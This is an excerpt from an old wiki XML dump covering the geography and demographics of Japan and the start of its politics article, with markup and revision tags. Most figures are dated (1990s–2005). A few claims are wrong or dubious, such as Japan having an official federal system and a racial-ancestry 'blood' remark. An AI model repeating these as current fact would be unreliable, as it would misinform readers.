The mountainous islands of the Japanese Archipelago form a crescent off the eastern coast of Asia. They are separated from the mainland by the [[Sea of Japan]], which historically served as a protective barrier. The country consists of four principal islands: [[Hokkaido]], [[Honshu]], [[Shikoku]], and [[Kyushu]]; more than 3,000 adjacent islands and islets, including [[Oshima]] in the [[Nampo chain]]; and more than 200 other smaller islands, including those of the [[Amami]], [[Okinawa]], and [[Sakishima Islands|Sakishima]] chains of the [[Ryukyu Islands]]. The national territory also includes the small Bonin or [[Ogasawara Islands]], which include [[Iwo Jima]] and the [[Volcano Islands]] (Kazan Retto), stretching some 1,100 kilometers from the main islands. A territorial dispute with [[Russia]], dating from the end of World War II, over the two southernmost of the [[Kuril Islands]], Etorofu ([[Iturup]]) and [[Kunashir Island|Kunashiri]], and the smaller [[Shikotan]] and [[Habomai]] Islands northeast of [[Hokkaido]] remain a sensitive spot in [[Japanese-Russian relations]] as of 2005. Excluding disputed territory, the archipelago covers about 377,000 square kilometers. No point in Japan is more than 150 kilometers from the sea.

The four major islands are separated by narrow straits and form a natural entity. The Ryukyu Islands curve 970 kilometers southward from Kyushu.

The distance between Japan and the [[Korean Peninsula]], the nearest point on the Asian continent, is about 200 kilometers at the [[Korea Strait]]. Japan has always been linked with the continent through trade routes, stretching in the north toward [[Siberia]], in the west through the [[Tsushima Island]]s to the Korean Peninsula, and in the south to the ports on the south China coast.

The Japanese islands are the summits of mountain ridges uplifted near the outer edge of the [[continental shelf]]. About 75 percent of Japan's area is mountainous, and scattered plains and intermontane basins (in which the population is concentrated) cover only about 25 percent. A long chain of mountains runs down the middle of the archipelago, dividing it into two halves, the &quot;face,&quot; fronting on the Pacific Ocean, and the &quot;back,&quot; toward the Sea of Japan. On the Pacific side are steep mountains 1,500 to 3,000 meters high, with deep valleys and gorges. Central Japan is marked by the convergence of the three mountain chains—the [[Hida Mountains|Hida]], [[Kiso Mountains|Kiso]], and [[Akaishi Mountains|Akaishi]] mountains—that form the [[Japanese Alps]] (Nihon Arupusu), several of whose peaks are higher than 3,000 meters. The highest point in the Japanese Alps is [[Kitadake]] at 3,192 meters. The highest point in the country is [[Mount Fuji]] (Fujisan, also erroneously called Fujiyama), a volcano dormant since [[1707]] that rises to 3,776 meters above sea level in [[Shizuoka Prefecture]]. On the Sea of Japan side are plateaus and low mountain districts, with altitudes of 500 to 1,500 meters.

None of the populated plains or mountain basins is extensive in area. The largest, the [[Kanto Plain]], where [[Tokyo]] is situated, covers only 13,000 square kilometers. Other important plains are the [[Nobi Plain]] surrounding [[Nagoya]], the [[Kinki Plain]] in the [[Osaka]]-[[Kyoto]] area, the [[Sendai Plain]] around the city of [[Sendai, Miyagi|Sendai]] in northeastern Honshu, and the [[Ishikari Plain]] on Hokkaido. Many of these plains are along the coast, and their areas have been increased by reclamation throughout recorded history.

The small amount of habitable land prompted significant human modification of the terrain over many centuries. Land was reclaimed from the sea and from river deltas by building [[dike (construction)|dikes]] and drainage, and rice paddies were built on terraces carved into mountainsides. The process continued in the modern period with extension of shorelines and building of artificial islands for industrial and port development, such as Port Island in Kobe and the new [[Kansai International Airport]] in Osaka Bay. Hills and even mountains have been razed to provide flat areas for housing.

Rivers are generally steep and swift, and few are suitable for navigation except in their lower reaches. Most rivers are fewer than 300 kilometers in length, but their rapid flow from the mountains provides a valuable, renewable resource: [[Hydroelectricity|hydroelectric power]] generation. Japan's hydroelectric power potential has been exploited almost to capacity. Seasonal variations in flow have led to extensive development of flood control measures. Most of the rivers are very short. The longest, the [[Shinano River]], which winds through [[Nagano Prefecture]] to [[Niigata Prefecture]] and flows into the Sea of Japan, is only 367 kilometers long. The largest freshwater lake is [[Lake Biwa]], northeast of Kyoto.

Extensive coastal shipping, especially around the [[Inland Sea]] (Seto Naikai), compensates for the lack of navigable rivers. The Pacific coastline south of Tokyo is characterized by long, narrow, gradually shallowing inlets produced by sedimentation, which has created many natural harbors. The Pacific coastline north of Tokyo, the coast of Hokkaido, and the Sea of Japan coast are generally unindented, with few natural harbors.

==Climate==
Japan belongs to the temperate zone with distinct four seasons, but its climate varies from cool temperate in the north to subtropical in the south. The climate is also affected by the seasonal winds that blow from the continent to the ocean in winters and vice versa in summers. 

Japan is generally a rainy country with high humidity. Because of its wide range of latitude, Japan has a variety of climates, with a range often compared to that of the east coast of [[North America]], from [[Nova Scotia]] to [[Georgia (U.S. state)|Georgia]]. [[Tokyo]] is at about 36 north latitude, comparable to that of [[Tehran]], [[Athens]], or [[Los Angeles]]. The generally humid, temperate climate exhibits marked seasonal variation celebrated in [[Japanese art|art]] and [[Japanese literature|literature]], as well as regional variations ranging from cool in Hokkaido to subtropical in Kyushu. Climate also varies with altitude and with location on the Pacific Ocean or on the Sea of Japan. Northern Japan has warm summers but long, cold winters with heavy snow. Central Japan has hot, humid summers and short winters, and southwestern Japan has long, hot, humid summers and mild winters.

Two primary factors influence Japan's climate: a location near the [[Asia]]n continent and the existence of major [[Ocean current|oceanic currents]]. The climate from June to September is marked by hot, wet weather brought by tropical airflows from the Pacific Ocean and Southeast Asia. These airflows are full of moisture and deposit substantial amounts of rain when they reach land. There is a marked rainy season, beginning in early June and continuing for about a month. It is followed by hot, sticky weather. Five or six [[Tropical cyclone|typhoon]]s pass over or near Japan every year from early August to early September, sometimes resulting in significant damage. Annual [[precipitation]], which averages between 100 and 200 centimeters, is concentrated in the period between June and September. In fact, 70 to 80 percent of the annual precipitation falls during this period. In winter, a high-pressure area develops over Siberia, and a low-pressure area develops over the northern Pacific Ocean. The result is a flow of cold air eastward across Japan that brings freezing temperatures and heavy snowfalls to the central mountain ranges facing the Sea of Japan, but clear skies to areas fronting on the Pacific.

Two major ocean currents affect this climatic pattern: the warm [[Kuroshio Current]] (Black Current; also known as the Japan Current); and the cold [[Oyashio Current]] (Parent Current; also known as the Okhotsk Current). The Kuroshio Current flows northward on the Pacific side of Japan and warms areas as far north as Tokyo; a small branch, the [[Tsushima Current]], flows up the Sea of Japan side. The Oyashio Current, which abounds in [[plankton]] beneficial to coldwater fish, flows southward along the northern Pacific, cooling adjacent coastal areas. The meeting point of these currents at 36 north latitude is a bountiful fishing ground.

Late June and early July are a rainy season except Hokkaido as a seasonal rain front or baiu zensen (梅雨前線) stays above Japan. In summer and early autumn, typhoons, grown from tropical depressions generated near the equator, attack Japan with furious rainstorms. 

Its varied geographical features divide Japan into six principal climatic zones.
* Hokkaidō (北海道): Belonging to the cool temperate zone, Hokkaido has long, cold winters and cool summers. Precipitation is not great. 

* Nihonkai (日本海) or Sea of Japan: The northwest seasonal wind in winter gives heavy snowfalls. In summer it is less hot than in the Pacific area but sometimes experiences extreme high temperatures due to the [[Föhn wind]] phenomenon. 

* [[Chūō-kōchi]] (中央高地) or Central highland: A typical inland climate gives large temperature differences between summers and winters and between days and nights. Precipitation is not large throughout the year. 

* Setonaikai (瀬戸内海) or [[Seto Inland Sea|Inland Sea]]: The mountains in the Chūgoku and Shikoku regions block the seasonal winds and bring mild climate and many fine days throughout the year. 

* Taiheiyō (太平洋) or Pacific Ocean: Winters are cold, with little snowfall, and summers are hot and humid due to the southeast seasonal wind. 

* Nansei-shotō (南西諸島) or Southwest Islands: This zone has a subtropical climate with warm winters and hot summers. Precipitation is very high, and is especially affected by the rainy season and typhoons.

As an island nation, Japan has a long coastline. A few prefectures are landlocked: [[Gunma Prefecture|Gunma]], [[Tochigi Prefecture|Tochigi]], [[Saitama Prefecture|Saitama]], [[Nagano Prefecture|Nagano]], [[Yamanashi Prefecture|Yamanashi]], [[Gifu Prefecture|Gifu]], [[Shiga Prefecture|Shiga]], and [[Nara Prefecture|Nara]]. The others all have coasts on the Pacific Ocean, Sea of Japan, Seto Inland Sea or have a body of salt water connected to them. Two prefectures&amp;mdash;[[Hokkaido Prefecture|Hokkaido]] and [[Okinawa Prefecture|Okinawa]]&amp;mdash;are composed of islands.

==Environmental protection==
''Main article:'' [[Environmental protection in Japan]]; ''see also'' [[Whaling in Japan]]

'''Environment - current issues''': air pollution from [[automobile|car]] emissions in urban area suspected for causing [[Asthma]]; over-enrichment of lakes and reservoirs degrading water quality for aquatic life; quota for fisheries imposed on Japanese fishing fleets; over-fish farming causing degrading water quality for aquatic life; [[Biodiversity]] threatened by foreign animals, fish, insects, and plants

'''Environment - international agreements''': &lt;br&gt;
''party to'': [[Protocol on Environmental Protection to the Antarctic Treaty|Antarctic-Environmental Protocol]], [[Antarctic Treaty System|Antarctic Treaty]], [[Convention on Biological Diversity|Biodiversity]], [[United Nations Framework Convention on Climate Change|Climate Change]], [[United Nations Convention to Combat Desertification|Desertification]], [[Convention on the International Trade in Endangered Species of Wild Flora and Fauna|Endangered Species]], [[Convention on the Prohibition of Military or Any Other Hostile Use of Environmental Modification Techniques|Environmental Modification]], Hazardous Wastes ([[Basel Convention]]), [[United Nations Convention on the Law of the Sea|Law of the Sea]], [[Convention on the Prevention of Marine Pollution by Dumping Wastes and Other Matter|Marine Dumping]], [[Comprehensive Test Ban Treaty|Nuclear Test Ban]], Ozone Layer Protection ([[Montreal Protocol]]), Ship Pollution ([[MARPOL 73/78]]), [[International Tropical Timber Agreement, 1983|Tropical Timber 83]], [[International Tropical Timber Agreement, 1994|Tropical Timber 94]], Wetlands ([[Ramsar Convention]]), [[International Convention for the Regulation of Whaling|Whaling]] &lt;br&gt;
''signed, but not ratified'': Climate Change-[[Kyoto Protocol]]

==Natural hazards==

Ten percent of the world's active [[volcano]]es—forty in the early 1990s (another 148 were dormant)—are found in Japan, which lies in a zone of extreme [[crustal instability]]. As many as 1,500 [[earthquake]]s are recorded yearly, and magnitudes of four to six on the [[Richter scale]] are not uncommon. Minor tremors occur almost daily in one part of the country or another, causing slight shaking of buildings. Major earthquakes occur infrequently; the most famous in the twentieth century was the [[great Kantō earthquake]] of 1923, in which 130,000 people died. [[Undersea earthquake]]s also expose the Japanese coastline to danger from [[tsunami]] (津波), tidal wave. 

Japan has become a world leader in research on causes and prediction of earthquakes. The development of advanced technology has permitted the construction of [[skyscraper]]s even in earthquake-prone areas. Extensive civil defense efforts focus on training in protection against earthquakes, in particular against accompanying fire, which represents the greatest danger. 

Another common hazard are typhoons ([[tropical cyclone]]s) (台風) that reach Japan from the pacific.

== Regions ==
{{dablink|Main article: [[Regions of Japan]]}}
[[Image:Regions of Japan.png|right|Map of Japan]]
Japan is informally divided into eight regions. Each contains several [[Prefectures of Japan|prefectures]], except the Hokkaido region, which covers only Hokkaido [[Prefecture]].

The region is not an official administrative unit, but has been traditionally used as the regional division of Japan in a number of contexts: for example, maps and geography textbooks divide Japan into the eight regions, weather reports usually give the weather by region, and many businesses and institutions use their home region as part of their name ([[Kinki Nippon Railway]], Chugoku Bank, [[Tohoku University]], etc.). While Japan has eight High Courts, their jurisdictions do not correspond to the eight regions.

== See also ==
* [[Japanese addressing system]]
* [[List of national parks of Japan]]
* [[List of islands of Japan]]
* [[List of lakes in Japan]]
* [[Rivers of Japan]]
* [[Peninsulas of Japan]]
* [[Ou Mountains]]

==Notes==
1. See [[Sea of Japan naming dispute]]. South Korea proposes &quot;East Sea&quot; as the international name for the sea.

==References==

{{loc}} — [http://lcweb2.loc.gov/frd/cs/ http://lcweb2.loc.gov/frd/cs/ Japan].

{{Asia in topic|Geography of}}

[[Category:Geography of Japan| ]]
[[Category:Lists of subnational entities|Japan, Regions of]]

[[de:Geographie Japans]]
[[es:Geografía de Japón]]
[[fr:Géographie du Japon]]
[[he:גאוגרפיה של יפן]]
[[lt:Japonijos geografija]]
[[ja:日本の地理]]
[[nl:Geografie van Japan]]
[[pt:Geografia do Japão]]
[[vi:Địa lí Nhật Bản]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Japan</title>
    <id>15576</id>
    <revision>
      <id>41468643</id>
      <timestamp>2006-02-27T15:33:56Z</timestamp>
      <contributor>
        <ip>222.150.17.115</ip>
      </contributor>
      <comment>/* Basic facts */</comment>
      <text xml:space="preserve">[[Japan]]'s population, currently 127,417,224, experienced a high growth rate during the 20th century, as a result of scientific, industrial, and social changes. Population growth has more recently decreased, because of falling [[birth rate]]s and almost no net [[immigration]]. High [[sanitary]] and health standards produce a [[life expectancy]] exceeding that of any other nation in the world. The population started declining in 2005, as the 1.067 million births were exceeded by the 1.077 million deaths. Assuming current birth and death rates, the 2005 population of 127 million will decline to 100 million in 2050, and 64 million in 2100--and keep falling. The main problem will be the financial crisis that comes from having a higher and higher [[Dependency ratio]] (that is, nonworking young and old compared to working ages.)

Japan is an urban society with only about 5% of the labor force engaged in agriculture. Many farmers supplement their income with part-time jobs in nearby towns and cities. About 80 million of the urban population are heavily concentrated on the Pacific shore of [[Honshu]] and in southern [[Kyushu]]. Metropolitan [[Tokyo]] with approximately 12 million; [[Yokohama]] with 3,555,473; [[Osaka]] 2,624,129; [[Nagoya, Aichi|Nagoya]] 2,190,549; [[Sapporo, Hokkaido|Sapporo]] 1,854,837; [[Kobe, Hyogo|Kobe]] 1,513,967; [[Kyoto]] 1,466,163; [[Fukuoka, Fukuoka|Fukuoka]] 1,325,611; [[Kawasaki, Kanagawa|Kawasaki]] 1,290,426; and [[Kitakyushu, Fukuoka|Kitakyushu]] with 1,000,211 each account for part of this population. Japan faces the same problems that confront urban industrialized societies throughout the world: over-crowded cities, congested highways, [[air pollution]], and rising [[juvenile delinquency]].

==Population density==
Japan's population density is 337 persons per square kilometer according to the CIA World Factbook website as of July 2005. It ranks 18th in a [[list of countries by population density]], ranking directly above [[India]] (328 per km², 19th), and directly below [[Belgium]] (339 per km², 17th).
&lt;!--
higher than
Australia (2, 191th), 
Canada (3, 185th),
Russia (8, 178th), 
the United States (30, 143th),
Mexico (53, 117th),
France (110, 68th),
the People's Republic of China (136, 54th), 
Italy (192, 40th),
Germany (230, 34th),
the United Kingdom (243, 33rd),
and India (328, 19th), 

lower than
Belgium (339, 17th),
South Korea (491, 12th), 
and Taiwan (636, 9th).
--&gt;
Japan's population density has helped promote extremely high [[Real Property|land]] prices. Between 1955 and 1989, land prices in the six largest cities increased 15,000 %. Urban land prices generally increased 40 % from 1980 to 1987; in the six largest cities, the price of land doubled over that period. For many families, this trend put housing in central cities out of reach. The result was lengthy commutes for many workers; daily commutes of up to two hours each way are not uncommon in the Tokyo area. Despite the large amount of forested land in Japan, [[parkland|park]]s in cities are smaller and scarcer than in major West European or North American cities, which average ten times the amount of parkland per inhabitant. 

National and regional governments devote resources to making regional cities and rural areas more attractive by developing transportation networks, social services, industry, and educational institutions in attempts to decentralize settlement and improve the quality of life. Nevertheless, major cities, especially Tokyo, remain attractive to young people seeking education and jobs.

==Age Structure==
Like other [[postindustrial]] countries, Japan faces the problems associated with an aging population. In 1989, only 11.6 % of the population was sixty-five years or older, but projections were that 25.6 % would be in that age category by 2030. That shift will make Japan one of the world's most elderly societies, and the change will have taken place in a shorter span of time than in any other country.

This aging of the population was brought about by a combination of low [[fertility]] and high life expectancies. In 1993 the fertility rate was estimated at 10.3 per 1,000 population, and the average number of children born to a woman over her lifetime has been fewer than two since the late 1970s (the average number was estimated at 1.5 in 1993). Family planning was nearly universal, with [[condom]]s and legal [[abortion]]s the main forms of [[birth control]]. A number of factors contributed to the trend toward small families: late [[marriage]], increased participation of women in the labor force, small living spaces, and the high costs of children's education. Life expectancies at birth, 76.4 years for males and 82.2 years for women in 1993, were the highest in the world. (The expected life span at the end of World War II, for both males and females, was fifty years.) The mortality rate in 1993 was estimated at 7.2 per 1,000 population. The leading causes of death are [[cancer]], [[heart]] [[heart disease|disease]], and [[cerebrovascular disease]], a pattern common to postindustrial societies.

Public policy, the media, and discussions with private citizens revealed a high level of concern for the implications of one in four persons in Japan being sixty-five or older. By 2025 the dependency ratio (the ratio of people under fifteen years plus those sixty-five and older to those aged fifteen to sixty-five, indicating in a general way the ratio of the dependent population to the working population) was expected to be two dependents for every three workers. The aging of the population was already becoming evident in the aging of the labor force and the shortage of young workers in the late 1980s, with potential impacts on employment practices, wages and benefits, and the roles of women in the labor force. The increasing proportion of elderly people in the population also had a major impact on government spending. As recently as the early 1970s, social expenditures amounted to only about 6 % of Japan's national income. In 1992 that portion of the national budget was 18 %, and it was expected that by 2025, 27 % of national income would be spent on social welfare.

In addition, the median age of the elderly population was rising in the late 1980s. The proportion of people aged seventy-five to eighty-five was expected to increase from 6 % in 1985 to 15 % in 2025. Because the incidence of chronic disease increases with age, the healthcare and pension systems, too, are expected to come under severe strain. The government in the mid-1980s began to reevaluate the relative burdens of government and the private sector in [[health care]] and [[pension]]s, and it established policies to control government costs in these programs. Recognizing the lower probability that an elderly person will be residing with an adult child and the higher probability of any daughter or daughter-in-law's participation in the paid labor force, the government encouraged establishment of [[nursing home]]s, [[day-care]] facilities for the elderly, and home health programs. Longer life spans are altering relations between spouses and across generations, creating new government responsibilities, and changing virtually all aspects of social life.

==A homogeneous society?==
Japanese often claim to outsiders that their society is homogeneous. By world standards, the Japanese enjoy a high standard of living, and nearly 90% of the population consider themselves part of the [[middle class]]. Most people express satisfaction with their lives, and take great pride in being Japanese and in their country's status as an economic power on a par with the [[United States]] and the [[European Union]]. In [[folk craft]]s and in [[right-wing politics]], in the [[Shinshukyo|new religions]] and in [[international management]], the Japanese have turned to their past to interpret the present. In doing so, however, they may be reconstructing history as a common set of beliefs and practices that make the country look more homogeneous than it really is.

In a society that values outward conformity, individuals may appear to take a back seat to the needs of the group. Yet it is individuals who create for themselves a variety of life-styles. They are constrained in their choices by age, gender, life experiences, and other factors, but they draw from a rich cultural repertoire of past and present through which the wider social world of families (see [[Japanese family]]), neighborhoods (see [[Japanese neighborhood]]), and institutions gives meaning to their lives. As Japan set out to internationalize itself in the 1990s, the identification of inherent Japanese qualities took on new significance, and the ideology of homogeneity sometimes masked individual decisions and life-styles of [[postindustrial]] Japan.

==Migration==
Between 6 million and 7 million people moved their residences each year during the 1980s. About 50 % of these moves were within the same prefecture; the others were relocations from one prefecture to another. During Japan's economic development in the twentieth century, and especially during the 1950s and 1960s, migration was characterized by [[urbanization]] as people from rural areas in increasing numbers moved to the larger metropolitan areas in search of better jobs and education. Out-migration from rural prefectures continued in the late 1980s, but more slowly than in previous decades.

In the 1980s, government policy provided support for new urban development away from the large cities, particularly Tokyo, and assisted regional cities to attract young people to live and work there. Regional cities offered familiarity to those from nearby areas, lower costs of living, shorter commutes, and, in general, a more relaxed life-style then could be had in larger cities. Young people continued to move to large cities, however, to attend universities and find work, but some returned to regional cities (a pattern known as U-turn) or to their prefecture of origin (a pattern referred to as J-turn).

Government statistics show that in the 1980s significant numbers of people left the largest cities (Tokyo and Osaka). In 1988 more than 500,000 people left Tokyo, which experienced a net loss through migration of nearly 73,000 for the year. Osaka had a net loss of nearly 36,000 in the same year. However, the prefectures showing the highest net growth are located near the major urban centers, such as [[Saitama]], [[Chiba, Chiba|Chiba]], [[Ibaraki, Ibaraki|Ibaraki]], and [[Kanazawa]] around Tokyo, and [[Hyogo]], [[Nara, Nara|Nara]], and [[Shiga]] near Osaka and Kyoto. This pattern suggests a process of [[suburb|suburbanization]], people moving away from the cities for affordable housing but still commuting there for work and recreation, rather than a true decentralization.

Japanese economic success has led to an increase in certain types of external migration. In 1990 about 11 million Japanese went abroad. More than 80 % of these people traveled as tourists, especially visiting other parts of Asia and North America. However, about 663,100 Japanese were living abroad, approximately 75,000 of whom had permanent foreign residency, more than six times the number who had that status in 1975. More than 200,000 Japanese went abroad in 1990 for extended periods of study, research, or business assignments. As the government and private corporations have stressed internationalization, greater numbers of individuals have been directly affected, decreasing Japan's historically claimed insularity. Despite the benefits of experiencing life abroad, individuals who have lived outside of Japan for extended periods often faced problems of discrimination upon their return because others might no longer consider them fully Japanese. By the late 1980s, these problems, particularly the bullying of returnee children in the schools, had become a major public issue both in Japan and in Japanese communities abroad.

==Minorities==
Japanese society, with its ideology of homogeneity, has traditionally been intolerant of ethnic and other differences. People identified as different might be considered &quot;polluted&quot;--the category applied historically to the outcasts of Japan, particularly the ''hisabetsu buraku'',&quot;discriminated communities,&quot; often called ''burakumin'', a term some find offensive —- and thus not suitable as marriage partners or employees. Men or women of mixed ancestry, those with family histories of certain diseases, and foreigners, and members of minority groups faced discrimination in a variety of forms.

===Foreign Residents===
If Japanese society is reluctant to readmit returnees, it is even less willing to accept as full members of society those people who are not ethnic Japanese. In 1991 there were 1.2 million foreign residents in Japan, less than 1 % of Japan's population (if illegal aliens were counted, the number of foreigners might be several times higher than the quoted figure). Of this number, 693,100 (about 57 %) were Koreans and 171,100 (some 14 %) were Chinese. Many of these people were descendants of those brought to Japan during Japan's occupation of Taiwan (1895- 1945) and Korea (1905-45) to work at unskilled jobs, such as coal mining. Because Japanese [[citizenship]] was based on the nationality of the parent rather than on the place of birth, subsequent generations were not automatically Japanese and had to be naturalized to claim citizenship, despite being born and educated in Japan and speaking only Japanese, as was the case with most Koreans in Japan. Until the late 1980s, people applying for citizenship were expected to use only the Japanese renderings of their names and, even as citizens, continued to face discrimination in education, employment, and marriage. Thus, few chose naturalization, and they faced legal restrictions as foreigners, as well as extreme social prejudice.

All non-Japanese are required by law to register with the government and carry alien registration cards. From the early 1980s, a civil disobedience movement encouraged refusal of the [[fingerprint]]ing that accompanied registration every five years. Those people who opposed fingerprinting argued that it was discriminatory because the only Japanese who were fingerprinted were criminals. The courts upheld fingerprinting, but the law was changed so that fingerprinting was done once rather than with each renewal of the registration. Some Koreans, often with the support of either South Korea or the Democratic People's Republic of Korea (North Korea), attempted to educate their children in the Korean language, history, and culture and to instill pride in their Korean heritage. Most Koreans in Japan, however, have never been to the Korean Peninsula and do not speak Korean. Many are caught in a vicious cycle of poverty and discrimination in a society that emphasizes Japan's homogeneity and cultural uniqueness. Other Asians, too, whether students or permanent residents, face prejudice and a strong &quot;us-them&quot; distinction. Europeans and North Americans might be treated with greater hospitality but nonetheless find it difficult to become full members of Japanese society. Public awareness of the place of foreigners (''gaijin'') in Japanese society was heightened in the late 1980s in debates over the acceptance of Vietnamese and Chinese refugees and the importing of Filipino brides for rural farmers.

A small but noticeable number of [[Brazil|Brazilian]] immigrants (around 250.000) also live in Japan, particularly those of Japanese descent.

===Hisabetsu Buraku===
''Main article: [[Burakumin]]''

Despite popular claims of Japanese homogeneity on the part of observers both foreign and domestic, three native Japanese minority groups can be identified. The largest are the ''hisabetsu buraku'' or &quot;discriminated communities&quot;, also known as the ''burakumin''. These descendants of premodern outcast hereditary occupational groups, such as [[butcher]]s, [[leather|leatherworkers]], [[funeral]] directors, and certain entertainers, may be considered a Japanese analog of [[India]]'s [[Dalit (outcaste)|Dalits]]. Discrimination against these occupational groups arose historically because of [[Buddhist]] prohibitions against killing and [[Shinto]] notions of pollution, as well as governmental attempts at social control. During the [[Edo period|Tokugawa]] period, such people were required to live in special ''buraku'' and, like the rest of the population, were bound by [[sumptuary law]]s based on the inheritance of social class. The [[Meiji]] government abolished most derogatory names applied to these discriminated communities in [[1871]], but the new laws had little effect on the social discrimination faced by the former outcasts and their descendants. The laws, however, did eliminate the economic monopoly they had over certain occupations.

Although members of these discriminated communities are physically indistinguishable from other Japanese, they often live in urban [[ghetto]]es or in the traditional special hamlets in rural areas. Some attempt to pass as ordinary Japanese, but the checks on family background that are often part of marriage arrangements and employment applications make this difficult. Estimates of their number range from 2 million to 4 million, or about 2 to 3 % of the national population.

Ordinary Japanese claimed that membership in these discriminated communities can be surmised from the location of the family home, occupation, dialect, or mannerisms and, despite legal equality, continued to discriminate against people they surmised to be members of this group. Past and current discrimination has resulted in lower educational attainment and socioeconomic status among hisabetsu buraku than among the majority of Japanese. Movements with objectives ranging from &quot;liberation&quot; to encouraging integration have tried over the years to change this situation.

===Ryukyuans===
The second largest minority group among Japanese citizens is the [[Ryukyuans|Ryukyuan people]]. 

===Ainu===
The third largest minority group among Japanese citizens is the [[Ainu people|Ainu]], who are thought to be related to the Tungusic, Altaic, and Uralic peoples of [[Siberia]]. Historically, the Ainu (Ainu means human in the Ainu language) were an indigenous [[hunting]] and gathering population who occupied most of northern Honshu as late as the Nara period (A.D. [[710]]-[[794|94]]). As Japanese settlement expanded, the Ainu were pushed northward, until by the Meiji period they were confined by the government to a small area in Hokkaido, in a manner similar to the placing of native Americans on reservations. Characterized as remnants of a primitive circumpolar culture, the fewer than 20,000 Ainu in 1990 were considered racially distinct and thus not fully Japanese. Disease and a low birth rate had severely diminished their numbers over the past two centuries, and intermarriage had brought about an almost completely mixed population.

Although no longer in daily use, the [[Ainu language]] is preserved in epics, songs, and stories transmitted orally over succeeding generations. Distinctive rhythmic music and dances and some Ainu festivals and crafts are preserved, but mainly in order to take advantage of tourism.

==Basic facts==
'''Population''': 127,417,244 (July 2005 est.) people in 47,062,743 households, 78.7 % in urban areas (July 2000). High population density; 329.5 persons per square kilometer for total area; 1,523 persons per square kilometer for habitable land. More than 50 % of population lives on 2 % of land. (July 1993)

'''Population growth rate''': 
:0.05% (2005 est.)
:0.08% (2004 est.)
:0.11% (2003 est.) 
:0.18% (2000 est.) 

'''Birth rate''':  
:9.47 births/1,000 population (2005 est.) 
:9.56 births/1,000 population (2004 est.)  
:9.61 births/1,000 population (2003 est.)
:9.96 births/1,000 population (2000 est.) 

'''Death rate''':  
:8.95 deaths/1,000 population (2005 est.)
:8.75 deaths/1,000 population (2004 est.) 
:8.55 deaths/1,000 population (2003 est.)
:8.15 deaths/1,000 population (2000 est.) 

'''Age structure''':
:0-14 years: 14.3% (male 9,337,867; female 8,876,996)
:15-64 years: 66.2% (male 42,697,264; female 42,196,835)
:65 years and over: 19.5% (male 10,169,190; female 14,054,850) (2005 est.) 

'''Sex ratio''':
:at birth: 1.05 male(s)/female 
:under 15 years: 1.05 male(s)/female 
:15-64 years: 1.01 male(s)/female 
:65 years and over: 0.73 male(s)/female 
:total population: 0.96 male(s)/female (2005 est.) 

'''Infant mortality rate''': 
:total: 3.26 deaths/1,000 live births 
:male: 3.52 deaths/1,000 live births 
:female: 2.99 deaths/1,000 live births (2005 est.) 

'''Life expectancy at birth''': 
:total population: 81.15 years 
:male: 77.86 years 
:female: 84.61 years (2005 est.) 

:total population: 80.7 years 
:male: 77.51 years 
:female: 84.05 years (2000 est.) 

'''Total fertility rate''':  
:1.288 children born/woman (2005 est.) 

'''HIV/AIDS - adult prevalence rate''':	
:less than 0.1% (2004 est.)

'''HIV/AIDS - people living with HIV/AIDS''':
:12,000 (2003 est.)

'''HIV/AIDS - deaths''':	
:500 (2003 est.)

'''Nationality''':
:noun: Japanese (singular and plural) 
:adjective: Japanese 

'''Ethnic Groups''': 99.4 % Japanese and 0.6 % other, mostly [[Korean people|Korean]] (40.4% of non-Japanese) and some [[ethnic Chinese|Chinese]]. [[Ainu people|Ainu]], [[Ryukyuans]] and [[hisabetsu buraku]] constitute native Japanese minority groups.  Japanese people are considered to be a homogeneous race but recent studies have shown that the Japanese race is very mixed.  It consists of Chinese, Korean, Polynesian and proto-caucasoid blood which explains the variety of Japanese facial structures. 

'''Foreign Citizens''': More than 2.5 million (possibly higher because of the illegal immigrants), 14.9% up in five years. North and South Koreans 1 million, Chinese 0.5 million, Filipinos 0.5 million, and Brazilian 250,000 with others like Peruvian, American/Canadian, British, Indonesian, Thai, African and other nationals.  

'''Marriage Status''':
:Over 15: Married Male 61.8%, Female 58.2%. Never married Male 31.8%, Female 23.7%.
:25 - 29: Never married Male 69.3%, Female 54.0%.
:30 - 34: Never married Male 42.9%, Female 26.6% (July 2000).

'''Religion''': No reliable statistics exist since census does not have questions regarding religion. See [[Religions of Japan]].

'''Net migration rate''':
:0 migrant(s)/1,000 population (2005 est.) 

'''Language''': [[Japanese language|Japanese]]. Emphasis on [[English language|English]] as a second language. 

'''Literacy''': 
definition: age 15 and over can read and write 
:total population: 99% (2002 est.) 
:male: 99% (2002 est.)
:female: 99% (2002 est.)

==Reference==
* {{loc}} - [http://lcweb2.loc.gov/frd/cs/jptoc.html Japan]

==External links==
* [http://www.japanesestudies.org.uk/discussionpapers/Chapple.html The Dilemma Posed by Japan's Population Decline], discussion paper by Julian Chapple in the [http://www.japanesestudies.org.uk/ ''electronic journal of contemporary japanese studies''], [[18 October]] [[2004]].
* [http://www.nytimes.com/2005/12/24/international/asia/24population.html?n=Top%2fNews%2fInternational%2fCountries%20and%20Territories%2fJapan 'Japan's Population Fell This Year]

[[Category:Demographics by country|Japan]]
[[Category:Demographics of Japan]]

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      <text xml:space="preserve">{{PoliticsJapan}}

[[Japan]] has a [[parliament|parliamentary government]], which consists of three branches: the administration (executive) branch, the legislative branch and the judicial branch. Sovereignty is vested in Japanese nationals by whom officials are elected in all of the branches. There is universal adult suffrage with a fair, reliable, secret ballot. For historical reasons, the system is similar to that in the [[United Kingdom]]. There is dispute as to whether Japan is a [[constitutional monarchy]] or a [[republic]]. 

== Government ==
'''Main article:''' [[Government of Japan]]

Japan officially has the traditional [[federal system]], and its [[prefectures of Japan|47 prefectures]] depend on the central government for most funding. Governors of prefectures, [[mayors]] of municipalities, and prefectural and municipal assembly members are popularly elected for four-year terms.

===Sovereignty===
According to traditional beliefs, Japan was founded in [[660 BC]] by [[Emperor Jimmu]]. The [[Meiji Constitution]], which established the modern Japanese state, was ratified in [[1889]].  Japan was [[occupied Japan|occupied]] by the [[Allies]] from the end of [[World War II]] in [[1945]] until [[1952]]. Sovereignty, which was previously embodied in the Emperor, is now the domain of the people. The Emperor is defined as the symbol of the state.

[[Image:Japanese_national_diet_building.jpg|right|250px|frame|National Diet building in Tokyo]]&lt;br&gt;

=== Legislative ===
By the [[JapanConstitution|Constitution]], the [[Diet of Japan|Diet]] is the most powerful of the three branches and consists of two houses, [[House of Representatives of Japan|the House of Representatives]] and [[House of Councillors of Japan|the House of Councillors]]. The Diet directs the [[Akihito|Emperor]] in the appointment and removal of the chiefs of the executive and judicial branches.

At present, the following political parties are represented in the National Diet, along with Non-partisans.
